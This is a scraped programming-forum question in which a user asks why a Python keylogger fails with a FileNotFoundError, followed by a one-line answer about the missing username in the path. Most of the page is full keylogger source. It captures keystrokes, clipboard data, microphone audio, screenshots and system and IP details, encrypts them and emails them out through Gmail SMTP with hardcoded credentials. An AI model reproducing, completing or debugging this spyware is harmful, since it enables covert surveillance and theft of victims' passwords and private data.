Home > Software design >  FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\Documents\\info_sys.t
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\Documents\\info_sys.t

Time:09-27

I'am trying to write a keylogger in python wich is going to send keystrokes, clipboard information and computer information to an adress mail, so my program will create 3 files and save the keystroke, clipboard information, computer information into those 3 files. Normaly if the files are not present in the specified directory they should be created automaticaly but it not doing that instead it's giving me an error this is the code: enter code here

from asyncore import read
from calendar import c
from email.message import EmailMessage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from mimetypes import guess_type
import shutil
import smtplib

#Librairies pour recuperer les infos de la machine
import socket
import platform

#info sur le presse-papier
import win32clipboard

#recuperation des saisies
from pynput.keyboard import Key, Listener

#recuperation du temps et du systeme d'exploitation
import time
import os

#Librairie pour les fonctionalites du Microphone
from scipy.io.wavfile import write
import sounddevice as sd

#Librairies pour crypter nos fichiers
from cryptography.fernet import Fernet

import getpass
from requests import get


#Libraries pour recuperer les captures d'ecran
from multiprocessing import process, freeze_support
from PIL import ImageGrab

keys_information = "key_log.txt"
informations_du_systeme = "info_sys.txt"
Information_Du_Press_Papier = "Press_Papier.txt"
audio_information = "audio.wav"
screenshot_info = "Capture.png"

keys_information_e = "e_key_log.txt"
informations_du_systeme_e = "e_info_sys.txt"
Information_Du_Press_Papier_e = "e_Press_Papier.txt"

time_iteration = 120
number_of_iteration_end = 3

key = "uLAhf4dGutCbUeNibdEpj212JK7auv6WJGaXwvCY-Dc="

file_path = "C:\\Users\\Documents"
extends = "\\"

file_merge = file_path   extends
microphone_time = 10
email_address = "[email protected]"
password= "ddksljxbthsddhym"

username = getpass.getuser() 
toaddr = "[email protected]"


def send_email(filename, attachment, toaddr):

    fromaddr = email_address

    msg = MIMEMultipart()
    
    msg['From'] = fromaddr

    msg['To'] = toaddr

    msg['Subject'] = 'Log file'

    body = "Body_the_mail"

    msg.attach(MIMEText(body,'plain'))

    filename = filename
    attachment = open(attachment, 'rb')
    
    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())

    encoders.encode_base64(p) 

    p.add_header('content-disposition',"attachment ; filename= %s" %filename)

    msg.attach(p)

    s = smtplib.SMTP("smtp.gmail.com", 587)

    s.starttls()
    
    s.login(fromaddr,password)

    text = msg.as_string()

    s.sendmail(fromaddr,toaddr,text)

    s.quit()   

def computer_information():
    with open(file_path   extends   informations_du_systeme, "w") as f:
        hostname = socket.gethostname()
        IpAddr = socket.gethostbyname(hostname)
        try:
            publicIp = get("https://api.ipify.org").text
            f.write("Public Ip address:"   publicIp   '\n')

        except Exception:
            f.write("couldn't get Public Ip Address(most likely address")

        f.write("Processeur: "   (platform.processor())   '\n')
        f.write("System: "   platform.system()   " "   platform.version()   '\n')
        f.write("Machine: "   platform.machine()   "\n")
        f.write("Hostname :"   hostname   "\n")
        f.write("Private Ip Adress :"   IpAddr   "\n")        
computer_information()

def copy_clipboard():
    with open(file_path   extends   Information_Du_Press_Papier, "a") as f:
        try:
            win32clipboard.OpenClipboard()
            données_copiées = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            f.write("Donnee du press papier: "   "\n"   données_copiées) 
        except:
            f.write("Le Press Papier ne peut etre copier")    
copy_clipboard()         

def Microphone():
    fs =4400
    second = microphone_time
    my_recording = sd.rec(int(second * fs), samplerate=fs, channels = 2)
    sd.wait()

    write(file_path   extends   audio_information, fs, my_recording)
Microphone()

def screenshot():
    im = ImageGrab.grab()
    im.save(file_path   extends   screenshot_info) 
screenshot()

number_of_iteration = 0
current_Time = time.time()
stoppingtime = time.time()   time_iteration

while number_of_iteration < number_of_iteration_end :
    print("you can start writing now")
    count = 0
    keys = []

    def on_press(key):
        global keys, count, current_Time
        keys.append(key)
        count  = 1

        print(key)
        if count >= 1:
            count = 0
            write_file(keys)
            keys = []
            current_Time = time.time()


    def write_file(keys):
        with open(file_path   extends   keys_information, "a") as f:
            for key in keys:
                k = str(key).replace("'","")
                if k.find("space") > 0:
                    f.write('\n')
                    f.close()
                elif k.find("key") == -1:
                    f.write(k)
                    f.close()    

    def on_release(key):
        if key == Key.esc:
            return False
        if current_Time > stoppingtime:
            return False       
    

    with Listener(on_press=on_press, on_release=on_release) as listener:
            listener.join()
    
    #send_email(keys_information, file_path   extends   keys_information, toaddr) 
    
    count = 0
    count_end = 10
    while count < count_end:
        screenshot()   
        send_email(screenshot_info, file_path   extends   screenshot_info, toaddr)    
        count  = 1
        print("ScreenShot N*" str(count))
    
    if current_Time > stoppingtime :
       #with open(file_path   extends   keys_information, "w") as f:
           #f.write(" ")        

       screenshot()   
       send_email(screenshot_info, file_path   extends   screenshot_info, toaddr)

       copy_clipboard()

       number_of_iteration  = 1
       print("ok")

       current_Time = time.time() 
       stoppingtime = time.time()   time_iteration
        
file_to_encrypt = [file_merge   informations_du_systeme, file_merge   Information_Du_Press_Papier, file_merge   keys_information]
encrypted_file_name = [file_merge   informations_du_systeme_e, file_merge   Information_Du_Press_Papier_e, file_merge   keys_information_e]

count = 0
for encrypting_file in file_to_encrypt:
    with open(file_to_encrypt[count], 'rb') as f:
        data = f.read()

    fernet = Fernet(key)
    encrypted = fernet.encrypt(data)

    with open(encrypted_file_name[count], 'wb') as f:
        f.write(encrypted)

    send_email(encrypted_file_name[count], encrypted_file_name[count], toaddr)    
    count  = 1
    print("mail sent succesfully")
    
time.sleep(10)     

this is the error:

Traceback (most recent call last):
  File "d:\keyylogger20.0\kelogger3.0.py", line 125, in <module>
    computer_information()
  File "d:\keyylogger20.0\kelogger3.0.py", line 110, in computer_information
    with open(file_path   extends   informations_du_systeme, "w") as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\Documents\\info_sys.txt'

Can someone help me please

CodePudding user response:

Almost certainly what is happening is that the requested folder does not exist. In Windows between Users and Documents there is usually a username. You should add it to your path.

  • Related